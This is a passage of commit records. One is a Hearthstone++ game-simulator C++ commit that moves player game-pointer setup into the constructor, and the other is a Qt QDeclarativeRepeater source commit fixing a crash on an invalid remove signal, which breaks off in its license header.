{"text":"<commit_before>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2018 SabberStone Team, darkfriend77 & rnilva\n\/\/ Hearthstone++ is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2018 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <hspp\/Actions\/Draw.hpp>\n#include <hspp\/Actions\/Generic.hpp>\n#include <hspp\/Cards\/Cards.hpp>\n#include <hspp\/Games\/Game.hpp>\n#include <hspp\/Games\/GameManager.hpp>\n\n#include <effolkronium\/random.hpp>\n\n#include <algorithm>\n\nusing Random = effolkronium::random_static;\n\nnamespace Hearthstonepp\n{\nGame::Game(GameConfig& gameConfig) : m_gameConfig(gameConfig)\n{\n    \/\/ Add hero and hero power\n    GetPlayer1().AddHeroAndPower(\n        Cards::GetInstance().GetHeroCard(gameConfig.player1Class),\n        Cards::GetInstance().GetDefaultHeroPower(gameConfig.player1Class));\n    GetPlayer2().AddHeroAndPower(\n        Cards::GetInstance().GetHeroCard(gameConfig.player2Class),\n        Cards::GetInstance().GetDefaultHeroPower(gameConfig.player2Class));\n\n    \/\/ Set opponent player\n    GetPlayer1().SetOpponent(&GetPlayer2());\n    GetPlayer2().SetOpponent(&GetPlayer1());\n}\n\nPlayer& Game::GetPlayer1()\n{\n    return m_players[0];\n}\n\nPlayer& Game::GetPlayer2()\n{\n    return m_players[1];\n}\n\nPlayer& Game::GetCurrentPlayer()\n{\n    return *m_currentPlayer;\n}\n\nPlayer& Game::GetOpponentPlayer()\n{\n    return m_currentPlayer->GetOpponent();\n}\n\nstd::size_t Game::GetNextID()\n{\n    return m_entityID++;\n}\n\nstd::size_t Game::GetNextOOP()\n{\n    return m_oopIndex++;\n}\n\nvoid Game::BeginFirst()\n{\n    \/\/ Set next step\n    nextStep = Step::BEGIN_SHUFFLE;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginShuffle()\n{\n    \/\/ Shuffle cards in deck\n    if (m_gameConfig.doShuffle)\n    {\n        GetPlayer1().GetDeck().Shuffle();\n        GetPlayer2().GetDeck().Shuffle();\n    }\n\n    \/\/ Set next step\n    nextStep = Step::BEGIN_DRAW;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginDraw()\n{\n    for (auto& p : m_players)\n    {\n        \/\/ Draw 3 cards\n        Generic::Draw(p);\n        Generic::Draw(p);\n        Generic::Draw(p);\n\n        if (&p != m_firstPlayer)\n        {\n            \/\/ Draw 4th card for second player\n            Generic::Draw(p);\n\n            \/\/ Give \"The Coin\" card to second player\n            Card coin = Cards::GetInstance().FindCardByID(\"GAME_005\");\n            p.GetHand().AddCard(*Entity::GetFromCard(p, std::move(coin)));\n        }\n    }\n\n    \/\/ Set next step\n    nextStep =\n        m_gameConfig.skipMulligan ? Step::MAIN_BEGIN : Step::BEGIN_MULLIGAN;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginMulligan()\n{\n    \/\/ Start mulligan state\n    GetPlayer1().mulliganState = Mulligan::INPUT;\n    GetPlayer2().mulliganState = Mulligan::INPUT;\n}\n\nvoid Game::MainBegin()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_READY;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainReady()\n{\n    \/\/ Reset the number of attacked\n    for (auto& p : m_players)\n    {\n        \/\/ Hero\n        p.GetHero()->numAttacked = 0;\n        \/\/ Field\n        for (auto& m : p.GetField().GetAllMinions())\n        {\n            m->numAttacked = 0;\n        }\n    }\n\n    \/\/ Reset exhaust for current player\n    auto& curPlayer = GetCurrentPlayer();\n    \/\/ Hero\n    curPlayer.GetHero()->SetGameTag(GameTag::EXHAUSTED, 0);\n    \/\/ Weapon\n    if (curPlayer.GetHero()->weapon != nullptr)\n    {\n        curPlayer.GetHero()->weapon->SetGameTag(GameTag::EXHAUSTED, 0);\n    }\n    \/\/ Hero power\n    curPlayer.GetHero()->heroPower->SetGameTag(GameTag::EXHAUSTED, 0);\n    \/\/ Field\n    for (auto& m : curPlayer.GetField().GetAllMinions())\n    {\n        m->SetGameTag(GameTag::EXHAUSTED, 0);\n    }\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_START_TRIGGERS;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainStartTriggers()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_RESOURCE;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainResource()\n{\n    auto& curPlayer = GetCurrentPlayer();\n\n    \/\/ Add mana crystal to current player\n    Generic::ChangeManaCrystal(curPlayer, 1, false);\n\n    \/\/ Reset current mana\n    curPlayer.currentMana = curPlayer.maximumMana;\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_DRAW;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainDraw()\n{\n    \/\/ Draw a card for current player\n    Generic::Draw(GetCurrentPlayer());\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_START;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainStart()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_ACTION;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainEnd()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_CLEANUP;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainCleanUp()\n{\n    auto& curPlayer = GetCurrentPlayer();\n\n    \/\/ Unfreeze all characters they control that are Frozen, don't have\n    \/\/ summoning sickness (or do have Charge) and have not attacked that turn\n    \/\/ Hero\n    if (curPlayer.GetHero()->GetGameTag(GameTag::FROZEN) == 1 &&\n        curPlayer.GetHero()->numAttacked == 0)\n    {\n        curPlayer.GetHero()->SetGameTag(GameTag::FROZEN, 0);\n    }\n    \/\/ Field\n    for (auto& m : curPlayer.GetField().GetAllMinions())\n    {\n        if (m->GetGameTag(GameTag::FROZEN) == 1 && m->numAttacked == 0 &&\n            m->GetGameTag(GameTag::EXHAUSTED) == 0)\n        {\n            m->SetGameTag(GameTag::FROZEN, 0);\n        }\n    }\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_NEXT;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainNext()\n{\n    \/\/ Set player for next turn\n    m_currentPlayer = &m_currentPlayer->GetOpponent();\n\n    \/\/ Count next turn\n    m_turn++;\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_READY;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::FinalWrapUp()\n{\n    \/\/ Set game states according by result\n    for (auto& p : m_players)\n    {\n        if (p.playState == +PlayState::LOSING ||\n            p.playState == +PlayState::CONCEDED)\n        {\n            p.playState = PlayState::LOST;\n            p.GetOpponent().playState = PlayState::WON;\n        }\n    }\n\n    \/\/ Set next step\n    nextStep = Step::FINAL_GAMEOVER;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::FinalGameOver()\n{\n    \/\/ Set game state to complete\n    state = State::COMPLETE;\n}\n\nvoid Game::StartGame()\n{\n    \/\/ Set game to player\n    for (auto& p : m_players)\n    {\n        p.SetGame(this);\n    }\n\n    \/\/ Reverse card order in deck\n    if (!m_gameConfig.doShuffle)\n    {\n        std::reverse(m_gameConfig.player1Deck.begin(),\n                     m_gameConfig.player1Deck.end());\n        std::reverse(m_gameConfig.player2Deck.begin(),\n                     m_gameConfig.player2Deck.end());\n    }\n\n    \/\/ Set up decks\n    for (auto& card : m_gameConfig.player1Deck)\n    {\n        if (card.cardType == +CardType::INVALID)\n        {\n            continue;\n        }\n\n        Entity* entity = Entity::GetFromCard(GetPlayer1(), std::move(card));\n        GetPlayer1().GetDeck().AddCard(*entity);\n    }\n    for (auto& card : m_gameConfig.player2Deck)\n    {\n        if (card.cardType == +CardType::INVALID)\n        {\n            continue;\n        }\n\n        Entity* entity = Entity::GetFromCard(GetPlayer2(), std::move(card));\n        GetPlayer2().GetDeck().AddCard(*entity);\n    }\n\n    \/\/ Fill cards to deck\n    if (m_gameConfig.doFillDecks)\n    {\n        for (auto& p : m_players)\n        {\n            for (auto& cardID : m_gameConfig.fillCardIDs)\n            {\n                Card card = Cards::GetInstance().FindCardByID(cardID);\n                Entity* entity = Entity::GetFromCard(p, std::move(card));\n                p.GetDeck().AddCard(*entity);\n            }\n        }\n    }\n\n    \/\/ Set game states\n    state = State::RUNNING;\n    for (auto& p : m_players)\n    {\n        p.playState = PlayState::PLAYING;\n    }\n\n    \/\/ Determine first player\n    switch (m_gameConfig.startPlayer)\n    {\n        case PlayerType::RANDOM:\n        {\n            auto val = Random::get(0, 1);\n            m_firstPlayer = &m_players[val];\n            break;\n        }\n        case PlayerType::PLAYER1:\n            m_firstPlayer = &m_players[0];\n            break;\n        case PlayerType::PLAYER2:\n            m_firstPlayer = &m_players[1];\n            break;\n    }\n    m_currentPlayer = m_firstPlayer;\n\n    \/\/ Set first turn\n    m_turn = 1;\n\n    \/\/ Set next step\n    nextStep = Step::BEGIN_FIRST;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n}  \/\/ namespace Hearthstonepp<commit_msg>[ci skip] fix: Change location of code that set game to player (nullptr)<commit_after>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2018 SabberStone Team, darkfriend77 & rnilva\n\/\/ Hearthstone++ is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2018 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <hspp\/Actions\/Draw.hpp>\n#include <hspp\/Actions\/Generic.hpp>\n#include <hspp\/Cards\/Cards.hpp>\n#include <hspp\/Games\/Game.hpp>\n#include <hspp\/Games\/GameManager.hpp>\n\n#include <effolkronium\/random.hpp>\n\n#include <algorithm>\n\nusing Random = effolkronium::random_static;\n\nnamespace Hearthstonepp\n{\nGame::Game(GameConfig& gameConfig) : m_gameConfig(gameConfig)\n{\n    \/\/ Set game to player\n    for (auto& p : m_players)\n    {\n        p.SetGame(this);\n    }\n\n    \/\/ Add hero and hero power\n    GetPlayer1().AddHeroAndPower(\n        Cards::GetInstance().GetHeroCard(gameConfig.player1Class),\n        Cards::GetInstance().GetDefaultHeroPower(gameConfig.player1Class));\n    GetPlayer2().AddHeroAndPower(\n        Cards::GetInstance().GetHeroCard(gameConfig.player2Class),\n        Cards::GetInstance().GetDefaultHeroPower(gameConfig.player2Class));\n\n    \/\/ Set opponent player\n    GetPlayer1().SetOpponent(&GetPlayer2());\n    GetPlayer2().SetOpponent(&GetPlayer1());\n}\n\nPlayer& Game::GetPlayer1()\n{\n    return m_players[0];\n}\n\nPlayer& Game::GetPlayer2()\n{\n    return m_players[1];\n}\n\nPlayer& Game::GetCurrentPlayer()\n{\n    return *m_currentPlayer;\n}\n\nPlayer& Game::GetOpponentPlayer()\n{\n    return m_currentPlayer->GetOpponent();\n}\n\nstd::size_t Game::GetNextID()\n{\n    return m_entityID++;\n}\n\nstd::size_t Game::GetNextOOP()\n{\n    return m_oopIndex++;\n}\n\nvoid Game::BeginFirst()\n{\n    \/\/ Set next step\n    nextStep = Step::BEGIN_SHUFFLE;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginShuffle()\n{\n    \/\/ Shuffle cards in deck\n    if (m_gameConfig.doShuffle)\n    {\n        GetPlayer1().GetDeck().Shuffle();\n        GetPlayer2().GetDeck().Shuffle();\n    }\n\n    \/\/ Set next step\n    nextStep = Step::BEGIN_DRAW;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginDraw()\n{\n    for (auto& p : m_players)\n    {\n        \/\/ Draw 3 cards\n        Generic::Draw(p);\n        Generic::Draw(p);\n        Generic::Draw(p);\n\n        if (&p != m_firstPlayer)\n        {\n            \/\/ Draw 4th card for second player\n            Generic::Draw(p);\n\n            \/\/ Give \"The Coin\" card to second player\n            Card coin = Cards::GetInstance().FindCardByID(\"GAME_005\");\n            p.GetHand().AddCard(*Entity::GetFromCard(p, std::move(coin)));\n        }\n    }\n\n    \/\/ Set next step\n    nextStep =\n        m_gameConfig.skipMulligan ? Step::MAIN_BEGIN : Step::BEGIN_MULLIGAN;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::BeginMulligan()\n{\n    \/\/ Start mulligan state\n    GetPlayer1().mulliganState = Mulligan::INPUT;\n    GetPlayer2().mulliganState = Mulligan::INPUT;\n}\n\nvoid Game::MainBegin()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_READY;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainReady()\n{\n    \/\/ Reset the number of attacked\n    for (auto& p : m_players)\n    {\n        \/\/ Hero\n        p.GetHero()->numAttacked = 0;\n        \/\/ Field\n        for (auto& m : p.GetField().GetAllMinions())\n        {\n            m->numAttacked = 0;\n        }\n    }\n\n    \/\/ Reset exhaust for current player\n    auto& curPlayer = GetCurrentPlayer();\n    \/\/ Hero\n    curPlayer.GetHero()->SetGameTag(GameTag::EXHAUSTED, 0);\n    \/\/ Weapon\n    if (curPlayer.GetHero()->weapon != nullptr)\n    {\n        curPlayer.GetHero()->weapon->SetGameTag(GameTag::EXHAUSTED, 0);\n    }\n    \/\/ Hero power\n    curPlayer.GetHero()->heroPower->SetGameTag(GameTag::EXHAUSTED, 0);\n    \/\/ Field\n    for (auto& m : curPlayer.GetField().GetAllMinions())\n    {\n        m->SetGameTag(GameTag::EXHAUSTED, 0);\n    }\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_START_TRIGGERS;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainStartTriggers()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_RESOURCE;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainResource()\n{\n    auto& curPlayer = GetCurrentPlayer();\n\n    \/\/ Add mana crystal to current player\n    Generic::ChangeManaCrystal(curPlayer, 1, false);\n\n    \/\/ Reset current mana\n    curPlayer.currentMana = curPlayer.maximumMana;\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_DRAW;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainDraw()\n{\n    \/\/ Draw a card for current player\n    Generic::Draw(GetCurrentPlayer());\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_START;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainStart()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_ACTION;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainEnd()\n{\n    \/\/ Set next step\n    nextStep = Step::MAIN_CLEANUP;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainCleanUp()\n{\n    auto& curPlayer = GetCurrentPlayer();\n\n    \/\/ Unfreeze all characters they control that are Frozen, don't have\n    \/\/ summoning sickness (or do have Charge) and have not attacked that turn\n    \/\/ Hero\n    if (curPlayer.GetHero()->GetGameTag(GameTag::FROZEN) == 1 &&\n        curPlayer.GetHero()->numAttacked == 0)\n    {\n        curPlayer.GetHero()->SetGameTag(GameTag::FROZEN, 0);\n    }\n    \/\/ Field\n    for (auto& m : curPlayer.GetField().GetAllMinions())\n    {\n        if (m->GetGameTag(GameTag::FROZEN) == 1 && m->numAttacked == 0 &&\n            m->GetGameTag(GameTag::EXHAUSTED) == 0)\n        {\n            m->SetGameTag(GameTag::FROZEN, 0);\n        }\n    }\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_NEXT;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::MainNext()\n{\n    \/\/ Set player for next turn\n    m_currentPlayer = &m_currentPlayer->GetOpponent();\n\n    \/\/ Count next turn\n    m_turn++;\n\n    \/\/ Set next step\n    nextStep = Step::MAIN_READY;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::FinalWrapUp()\n{\n    \/\/ Set game states according by result\n    for (auto& p : m_players)\n    {\n        if (p.playState == +PlayState::LOSING ||\n            p.playState == +PlayState::CONCEDED)\n        {\n            p.playState = PlayState::LOST;\n            p.GetOpponent().playState = PlayState::WON;\n        }\n    }\n\n    \/\/ Set next step\n    nextStep = Step::FINAL_GAMEOVER;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n\nvoid Game::FinalGameOver()\n{\n    \/\/ Set game state to complete\n    state = State::COMPLETE;\n}\n\nvoid Game::StartGame()\n{\n    \/\/ Reverse card order in deck\n    if (!m_gameConfig.doShuffle)\n    {\n        std::reverse(m_gameConfig.player1Deck.begin(),\n                     m_gameConfig.player1Deck.end());\n        std::reverse(m_gameConfig.player2Deck.begin(),\n                     m_gameConfig.player2Deck.end());\n    }\n\n    \/\/ Set up decks\n    for (auto& card : m_gameConfig.player1Deck)\n    {\n        if (card.cardType == +CardType::INVALID)\n        {\n            continue;\n        }\n\n        Entity* entity = Entity::GetFromCard(GetPlayer1(), std::move(card));\n        GetPlayer1().GetDeck().AddCard(*entity);\n    }\n    for (auto& card : m_gameConfig.player2Deck)\n    {\n        if (card.cardType == +CardType::INVALID)\n        {\n            continue;\n        }\n\n        Entity* entity = Entity::GetFromCard(GetPlayer2(), std::move(card));\n        GetPlayer2().GetDeck().AddCard(*entity);\n    }\n\n    \/\/ Fill cards to deck\n    if (m_gameConfig.doFillDecks)\n    {\n        for (auto& p : m_players)\n        {\n            for (auto& cardID : m_gameConfig.fillCardIDs)\n            {\n                Card card = Cards::GetInstance().FindCardByID(cardID);\n                Entity* entity = Entity::GetFromCard(p, std::move(card));\n                p.GetDeck().AddCard(*entity);\n            }\n        }\n    }\n\n    \/\/ Set game states\n    state = State::RUNNING;\n    for (auto& p : m_players)\n    {\n        p.playState = PlayState::PLAYING;\n    }\n\n    \/\/ Determine first player\n    switch (m_gameConfig.startPlayer)\n    {\n        case PlayerType::RANDOM:\n        {\n            auto val = Random::get(0, 1);\n            m_firstPlayer = &m_players[val];\n            break;\n        }\n        case PlayerType::PLAYER1:\n            m_firstPlayer = &m_players[0];\n            break;\n        case PlayerType::PLAYER2:\n            m_firstPlayer = &m_players[1];\n            break;\n    }\n    m_currentPlayer = m_firstPlayer;\n\n    \/\/ Set first turn\n    m_turn = 1;\n\n    \/\/ Set next step\n    nextStep = Step::BEGIN_FIRST;\n    GameManager::ProcessNextStep(*this, nextStep);\n}\n}  \/\/ namespace Hearthstonepp<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"private\/qdeclarativerepeater_p.h\"\n#include \"private\/qdeclarativerepeater_p_p.h\"\n\n#include \"private\/qdeclarativevisualitemmodel_p.h\"\n#include <private\/qdeclarativeglobal_p.h>\n#include <qdeclarativelistaccessor_p.h>\n\n#include <qlistmodelinterface_p.h>\n\nQT_BEGIN_NAMESPACE\nQDeclarativeRepeaterPrivate::QDeclarativeRepeaterPrivate()\n: model(0), ownModel(false)\n{\n}\n\nQDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()\n{\n    if (ownModel)\n        delete model;\n}\n\n\/*!\n    \\qmlclass Repeater QDeclarativeRepeater\n    \\since 4.7\n    \\inherits Item\n\n    \\brief The Repeater item allows you to repeat an Item-based component using a model.\n\n    The Repeater item is used when you want to create a large number of\n    similar items.  For each entry in the model, an item is instantiated\n    in a context seeded with data from the model.  If the repeater will\n    be instantiating a large number of instances, it may be more efficient to\n    use one of Qt Declarative's \\l {xmlViews}{view items}.\n\n    The model may be either an object list, a string list, a number or a Qt model.\n    In each case, the data element and the index is exposed to each instantiated\n    component.  \n    \n    The index is always exposed as an accessible \\c index property.\n    In the case of an object or string list, the data element (of type string\n    or object) is available as the \\c modelData property.  In the case of a Qt model,\n    all roles are available as named properties just like in the view classes. The\n    following example shows how to use the index property inside the instantiated\n    items.\n\n    \\snippet doc\/src\/snippets\/declarative\/repeater-index.qml 0\n\n    \\image repeater-index.png\n\n    Items instantiated by the Repeater are inserted, in order, as\n    children of the Repeater's parent.  The insertion starts immediately after\n    the repeater's position in its parent stacking list.  This is to allow\n    you to use a Repeater inside a layout.  The following QML example shows how\n    the instantiated items would visually appear stacked between the red and\n    blue rectangles.\n\n    \\snippet doc\/src\/snippets\/declarative\/repeater.qml 0\n\n    \\image repeater.png\n\n    The repeater instance continues to own all items it instantiates, even\n    if they are otherwise manipulated.  It is illegal to manually remove an item\n    created by the Repeater.\n\n    \\note Repeater is Item-based, and cannot be used to repeat non-Item-derived objects.\n    For example, it cannot be used to repeat QtObjects.\n    \\badcode\n    Item {\n        \/\/XXX illegal. Can't repeat QtObject as it doesn't derive from Item.\n        Repeater {\n            model: 10\n            QtObject {}\n        }\n    }\n    \\endcode\n *\/\n\n\/*!\n    \\internal\n    \\class QDeclarativeRepeater\n    \\qmlclass Repeater\n *\/\n\n\/*!\n    Create a new QDeclarativeRepeater instance.\n *\/\nQDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent)\n  : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent)\n{\n}\n\n\/*!\n    Destroy the repeater instance.  All items it instantiated are also\n    destroyed.\n *\/\nQDeclarativeRepeater::~QDeclarativeRepeater()\n{\n}\n\n\/*!\n    \\qmlproperty any Repeater::model\n\n    The model providing data for the repeater.\n\n    The model may be either an object list, a string list, a number or a Qt model.\n    In each case, the data element and the index is exposed to each instantiated\n    component.  The index is always exposed as an accessible \\c index property.\n    In the case of an object or string list, the data element (of type string\n    or object) is available as the \\c modelData property.  In the case of a Qt model,\n    all roles are available as named properties just like in the view classes.\n\n    As a special case the model can also be merely a number. In this case it will\n    create that many instances of the component. They will also be assigned an index\n    based on the order they are created.\n\n    Models can also be created directly in QML, using a \\l{ListModel} or \\l{XmlListModel}.\n\n    \\sa {qmlmodels}{Data Models}\n*\/\nQVariant QDeclarativeRepeater::model() const\n{\n    Q_D(const QDeclarativeRepeater);\n    return d->dataSource;\n}\n\nvoid QDeclarativeRepeater::setModel(const QVariant &model)\n{\n    Q_D(QDeclarativeRepeater);\n    if (d->dataSource == model)\n        return;\n\n    clear();\n    if (d->model) {\n        disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));\n        disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));\n        disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));\n        disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));\n        \/*\n        disconnect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));\n        disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));\n    *\/\n    }\n    d->dataSource = model;\n    emit modelChanged();\n    QObject *object = qvariant_cast<QObject*>(model);\n    QDeclarativeVisualModel *vim = 0;\n    if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {\n        if (d->ownModel) {\n            delete d->model;\n            d->ownModel = false;\n        }\n        d->model = vim;\n    } else {\n        if (!d->ownModel) {\n            d->model = new QDeclarativeVisualDataModel(qmlContext(this));\n            d->ownModel = true;\n        }\n        if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n            dataModel->setModel(model);\n    }\n    if (d->model) {\n        connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));\n        connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));\n        connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));\n        connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));\n        \/*\n        connect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));\n        connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));\n        *\/\n        regenerate();\n        emit countChanged();\n    }\n}\n\n\/*!\n    \\qmlproperty Component Repeater::delegate\n    \\default\n\n    The delegate provides a template defining each item instantiated by the repeater.\n    The index is exposed as an accessible \\c index property.  Properties of the\n    model are also available depending upon the type of \\l {qmlmodels}{Data Model}.\n *\/\nQDeclarativeComponent *QDeclarativeRepeater::delegate() const\n{\n    Q_D(const QDeclarativeRepeater);\n    if (d->model) {\n        if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n            return dataModel->delegate();\n    }\n\n    return 0;\n}\n\nvoid QDeclarativeRepeater::setDelegate(QDeclarativeComponent *delegate)\n{\n    Q_D(QDeclarativeRepeater);\n    if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n       if (delegate == dataModel->delegate())\n           return;\n\n    if (!d->ownModel) {\n        d->model = new QDeclarativeVisualDataModel(qmlContext(this));\n        d->ownModel = true;\n    }\n    if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {\n        dataModel->setDelegate(delegate);\n        regenerate();\n        emit delegateChanged();\n    }\n}\n\n\/*!\n    \\qmlproperty int Repeater::count\n\n    This property holds the number of items in the repeater.\n*\/\nint QDeclarativeRepeater::count() const\n{\n    Q_D(const QDeclarativeRepeater);\n    if (d->model)\n        return d->model->count();\n    return 0;\n}\n\n\n\/*!\n    \\internal\n *\/\nvoid QDeclarativeRepeater::componentComplete()\n{\n    QDeclarativeItem::componentComplete();\n    regenerate();\n}\n\n\/*!\n    \\internal\n *\/\nQVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change,\n                                       const QVariant &value)\n{\n    QVariant rv = QDeclarativeItem::itemChange(change, value);\n    if (change == ItemParentHasChanged) {\n        regenerate();\n    }\n\n    return rv;\n}\n\nvoid QDeclarativeRepeater::clear()\n{\n    Q_D(QDeclarativeRepeater);\n    if (d->model) {\n        foreach (QDeclarativeItem *item, d->deletables) {\n            d->model->release(item);\n        }\n    }\n    d->deletables.clear();\n}\n\n\/*!\n    \\internal\n *\/\nvoid QDeclarativeRepeater::regenerate()\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n\n    clear();\n\n    if (!d->model || !d->model->count() || !d->model->isValid() || !parentItem() || !isComponentComplete())\n        return;\n\n    for (int ii = 0; ii < count(); ++ii) {\n        QDeclarativeItem *item = d->model->item(ii);\n        if (item) {\n            QDeclarative_setParent_noEvent(item, parentItem());\n            item->setParentItem(parentItem());\n            item->stackBefore(this);\n            d->deletables << item;\n        }\n    }\n}\n\nvoid QDeclarativeRepeater::itemsInserted(int index, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n    for (int i = 0; i < count; ++i) {\n        int modelIndex = index + i;\n        QDeclarativeItem *item = d->model->item(modelIndex);\n        if (item) {\n            QDeclarative_setParent_noEvent(item, parentItem());\n            item->setParentItem(parentItem());\n            if (modelIndex < d->deletables.count())\n                item->stackBefore(d->deletables.at(modelIndex));\n            else\n                item->stackBefore(this);\n            d->deletables.insert(modelIndex, item);\n        }\n    }\n}\n\nvoid QDeclarativeRepeater::itemsRemoved(int index, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n    while (count--) {\n        QDeclarativeItem *item = d->deletables.takeAt(index);\n        if (item) {\n            d->model->release(item);\n        }\n    }\n}\n\nvoid QDeclarativeRepeater::itemsMoved(int from, int to, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n    QList<QDeclarativeItem*> removed;\n    int removedCount = count;\n    while (removedCount--)\n        removed << d->deletables.takeAt(from);\n    for (int i = 0; i < count; ++i)\n        d->deletables.insert(to + i, removed.at(i));\n    d->deletables.last()->stackBefore(this);\n    for (int i = d->model->count()-1; i > 0; --i) {\n        QDeclarativeItem *item = d->deletables.at(i-1);\n        item->stackBefore(d->deletables.at(i));\n    }\n}\n\nvoid QDeclarativeRepeater::modelReset()\n{\n    if (!isComponentComplete())\n        return;\n    regenerate();\n}\n\nQT_END_NAMESPACE\n<commit_msg>Don't crash on invalid model remove signal.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt 